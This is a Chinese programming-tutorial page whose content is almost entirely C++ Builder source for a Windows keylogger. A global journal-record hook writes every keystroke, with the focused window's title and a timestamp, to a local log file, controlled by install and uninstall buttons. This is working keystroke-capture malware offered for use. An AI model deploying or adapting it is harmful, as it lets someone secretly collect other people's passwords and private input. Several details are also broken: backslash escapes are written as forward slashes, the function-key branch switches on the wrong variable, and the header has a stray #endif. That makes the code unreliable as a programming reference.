AutoCAD 3DMAX C语言 Pro/E UG JAVA编程 PHP编程 Maya动画 Matlab应用 Android
Photoshop Word Excel flash VB编程 VC编程 Coreldraw SolidWorks A Designer Unity3D
 首页 > C++

记录键盘的动作和敲击按键时的时间

51自学网 http://www.wanshiok.com
日志钩子代码如下,你慢慢品味吧: 


//-----------.cpp文件
//---------------------------------------------------------------------------

#include <vcl.h>
#include <stdio.h>
#pragma hdrstop

#include "KeyHookU.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TfrmLogHook *frmLogHook;

HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);

//钩子变量
HHOOK g_hLogHook=NULL;
//记录上一次得到焦点的窗口句柄
HWND g_hLastFocus=NULL;
//键盘掩码变量
const int KeyPressMask=0x80000000;
//保存上一次按键值
//char g_PrvChar;
//---------------------------------------------------------------------------
__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------

void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender)
{
        if(g_hLogHook==NULL)
                //安装日志钩子
                g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender)
{
        if(g_hLogHook!=NULL)
        {
                UnhookWindowsHookEx(g_hLogHook);
                g_hLogHook=NULL;
        }
}
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
        if(iCode<0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
        if(iCode==HC_ACTION)
        {
                EVENTMSG* pEvt=(EVENTMSG*)lParam;
                int i;
                HWND hFocus;//保存当前活动窗口句柄
                char szTitle[256];//当前窗口名称
                char szTime[128];//当前的日期和时间
                FILE* stream=fopen("h://usr//logfile.txt","a+");
                if(pEvt->message==WM_KEYDOWN)
                {
                        int vKey=LOBYTE(pEvt->paramL);//取得虚拟键值

                        char ch;
                        char str[10];
                        hFocus=GetActiveWindow();

                        if(g_hLastFocus!=hFocus)
                        {
                                GetWindowText(hFocus,szTitle,256);
                                g_hLastFocus=hFocus;

                                strcpy(szTime,DateTimeToStr(Now()).c_str());

                                fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);

                                fprintf(stream,"%c%c",32,32);
                        }

                        int iShift=GetKeyState(0x10);
                        int iCapital=GetKeyState(0x14);
                        int iNumLock=GetKeyState(0x90);

                        bool bShift=(iShift&KeyPressMask)==KeyPressMask;
                        bool bCapital=(iCapital&1)==1;
                        bool bNumLock=(iNumLock&1)==1;
                        /*
                        if(vKey==9) //TAB
                                fprintf(stream,"%c",'/t');
                        if(vKey==13) //回车键
                                fprintf(stream,"%c",'/n');
                        */
                        if(vKey>=48 && vKey<=57) //数字键0-9
                        {
                                if(!bShift)
                                        fprintf(stream,"%c",vKey);
                                else
                                {
                                        switch(vKey)
                                        {
                                        case 49:
                                                ch='!';
                                                break;
                                        case 50:
                                                ch='@';
                                                break;
                                        case 51:
                                                ch='#';
                                                break;
                                        case 52:
                                                ch='$';
                                                break;
                                        case 53:
                                                ch='%';
                                                break;
                                        case 54:
                                                ch='^';
                                                break;
                                        case 55:
                                                ch='&';
                                                break;
                                        case 56:
                                                ch='*';
                                                break;
                                        case 57:
                                                ch='(';
                                                break;
                                        case 48:
                                                ch=')';
                                                break;
                                        }
                                        fprintf(stream,"%c",ch);
                                }
                        }

                        if(vKey>=65 && vKey<=90) //A-Z a-z
                        {
                                if(!bCapital)
                                {
                                        if(bShift)
                                                ch=vKey;
                                        else
                                                ch=vKey+32;
                                }
                                else if(bShift)
                                        ch=vKey+32;
                                else
                                        ch=vKey;
                                fprintf(stream,"%c",ch);
                        }

                        if(vKey>=96 && vKey<=105) //小键盘0-9
                        {
                                if(bNumLock)
                                        fprintf(stream,"%c",vKey-96+48);
                        }

                        if(vKey>=186 && vKey<=222) //其它键
                        {
                                switch(vKey)
                                {
                case 186:
                    if (!bShift) ch=';' ;
                    else ch=':' ;
                    break;
                case 187:
                    if (!bShift) ch='=' ;
                    else ch='+' ;
                    break;
                case 188:
                    if (!bShift) ch=',' ;
                    else ch='<' ;
                    break;
                case 189:
                    if (!bShift) ch='-' ;
                    else ch='_' ;
                    break;
                case 190:
                    if (!bShift) ch='.' ;
                    else ch='>' ;
                    break;
                case 191:
                    if (!bShift) ch='/' ;
                    else ch='?' ;
                    break;
                case 192:
                    if (!bShift) ch='`' ;
                    else ch='~' ;
                    break;
                case 219:
                    if (!bShift) ch='[';
                    else ch='{' ;
                    break;
                case 220:
                    if (!bShift) ch='//' ;
                    else ch='|' ;
                    break;
                case 221:
                    if (!bShift) ch=']';
                    else ch='}' ;
                    break;
                case 222:
                    if (!bShift) ch='/'';
                    else ch='/"' ;
                    break;
                default:
                    ch='n' ;
                    break;
                }
                if (ch!='n' ) fprintf(stream,"%c",ch);
            } //
                        if (vKey>=112 && vKey<=123) // 功能键 [F1]-[F12]
            {
                                switch(wParam)
                                {
                                case 112:
                                        fprintf(stream,"%s","[F1]");
                                        break;
                                case 113:
                                        fprintf(stream,"%s","[F2]");
                                        break;
                                case 114:
                                        fprintf(stream,"%s","[F3]");
                                        break;
                                case 115:
                                        fprintf(stream,"%s","[F4]");
                                        break;
                                case 116:
                                        fprintf(stream,"%s","[F5]");
                                        break;
                                case 117:
                                        fprintf(stream,"%s","[F6]");
                                        break;
                                case 118:
                                        fprintf(stream,"%s","[F7]");
                                        break;
                                case 119:
                                        fprintf(stream,"%s","[F8]");
                                        break;
                                case 120:
                                        fprintf(stream,"%s","[F9]");
                                        break;
                                case 121:
                                        fprintf(stream,"%s","[F10]");
                                        break;
                                case 122:
                                        fprintf(stream,"%s","[F11]");
                                        break;
                                case 123:
                                        fprintf(stream,"%s","[F12]");
                                        break;
                                }
                        }
            if (vKey>=8 && vKey<=46) //方向键
            {
                switch (vKey)
                {
                case 8:
                    strcpy(str,"[BK]");
                    break;
                case 9:
                    strcpy(str,"[TAB]");
                    break;
                case 13:
                    strcpy(str,"[EN]");
                    break;
                                case 27:
                                        strcpy(str,"[ESC]");
                                        break;
                case 32:
                    strcpy(str,"[SP]");
                    break;
                case 33:
                    strcpy(str,"[PU]");
                    break;
                case 34:
                    strcpy(str,"[PD]");
                    break;
                case 35:
                    strcpy(str,"[END]");
                    break;
                case 36:
                    strcpy(str,"[HOME]");
                    break;
                case 37:
                    strcpy(str,"[LF]");
                    break;
                case 38:
                    strcpy(str,"[UF]");
                    break;
                case 39:
                    strcpy(str,"[RF]");
                    break;
                case 40:
                    strcpy(str,"[DF]");
                    break;
                case 45:
                    strcpy(str,"[INS]");
                    break;
                case 46:
                    strcpy(str,"[DEL]");
                    break;
                    default:
                    ch='n';
                    break;
                }
                if (ch!='n' )
                {
                    //if (g_PrvChar!=vKey)
                    //{
                        fprintf(stream,"%s",str);
                    //    g_PrvChar=vKey;
                    //}
                }
                        }
                }
                if(pEvt->message==WM_LBUTTONDOWN||pEvt->message==WM_RBUTTONDOWN)
                {
                        hFocus=GetActiveWindow();
                        if(g_hLastFocus!=hFocus)
                        {
                                g_hLastFocus=hFocus;
                                GetWindowText(hFocus,szTitle,256);
                                strcpy(szTime,DateTimeToStr(Now()).c_str());
                                fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);
                                fprintf(stream,"%c%c",32,32);
                        }
                }
                fclose(stream);
        }
        return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
void __fastcall TfrmLogHook::btnExitClick(TObject *Sender)
{
        if(g_hLogHook!=NULL)
        {
                UnhookWindowsHookEx(g_hLogHook);
                g_hLogHook=NULL;
        }
        Close();
}
//-----------.H文件
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
//---------------------------------------------------------------------------
class TfrmLogHook : public TForm
{
__published:    // IDE-managed Components
        TButton *btnInstall;
        TButton *btnUninstall;
        TButton *btnExit;
        void __fastcall btnInstallClick(TObject *Sender);
        void __fastcall btnUninstallClick(TObject *Sender);
        void __fastcall btnExitClick(TObject *Sender);
private:    // User declarations
public:        // User declarations
        __fastcall TfrmLogHook(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TfrmLogHook *frmLogHook;
//---------------------------------------------------------------------------
#endif
注:在Tfrom上加三个按钮.

 

 

 
上一篇:window中进程间如何通信  下一篇:C/C++数组名与指针区别深入探索